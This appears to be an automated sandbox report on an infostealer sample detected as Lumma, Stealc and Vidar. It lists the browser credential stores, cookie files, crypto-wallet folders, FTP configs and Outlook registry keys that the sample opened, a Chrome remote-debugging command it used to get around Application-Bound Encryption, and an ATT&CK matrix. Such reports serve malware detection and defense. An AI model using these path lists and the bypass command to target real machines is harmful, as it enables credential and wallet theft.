Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Directory queried: C:\Users\user\Documents

Source: Yara match	File source: 0000001D.00000003.3345260829.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2777086892.0000000000ADC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3294432672.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3364981384.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3378506086.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3420931591.0000000001297000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3349859652.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3294432672.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3359116369.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3375178151.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3384116320.00000000012A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3383963705.0000000001299000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3381436456.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3139660143.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 8376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 3576, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: dd2bc11318.exe PID: 5872, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: 0000001B.00000003.3166330332.00000000054F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3166157698.00000000054EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3221237929.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 8376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7250ce8e20.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2232954421.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3475058567.0000000000E91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3225425875.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2777086892.0000000000A11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.3382871470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3473282666.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3278591825.0000000000E91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 35e66d06ff.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 35e66d06ff.exe PID: 5388, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5340, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	112 Process Injection	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
